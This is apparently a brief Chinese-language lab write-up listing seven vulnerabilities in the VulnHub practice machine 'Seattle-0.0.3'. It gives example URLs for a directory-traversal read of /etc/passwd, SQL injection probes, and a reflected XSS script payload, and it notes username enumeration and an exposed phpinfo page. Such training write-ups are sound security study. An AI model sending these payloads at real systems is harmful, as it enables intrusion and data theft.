環(huán)境：vuluhub?Seattle-0.0.3

?1.catelogue處任意文件下載(目錄穿越)

http://192.168.85.139/download.php?item=../../../../../../etc/passwd

有個(gè)admin目錄，可以下載里面的文件進(jìn)行讀取

2.cltohes詳情頁(yè)面處(參數(shù)prod)存在sql報(bào)錯(cuò)注入

http://192.168.85.139/details.php?prod=5&type=2

?3.vily處存在布爾盲注(或時(shí)間盲注)

http://192.168.85.139/?type=1 and 1=1

4.blog處用戶名泄露

?5.登陸處存在用戶名枚舉

?6.blog處存在xss

http://192.168.85.139/blog.php?author="><script>alert(5)</script>

?

?7.phpinfo頁(yè)面泄露

http://192.168.85.139/info.php

?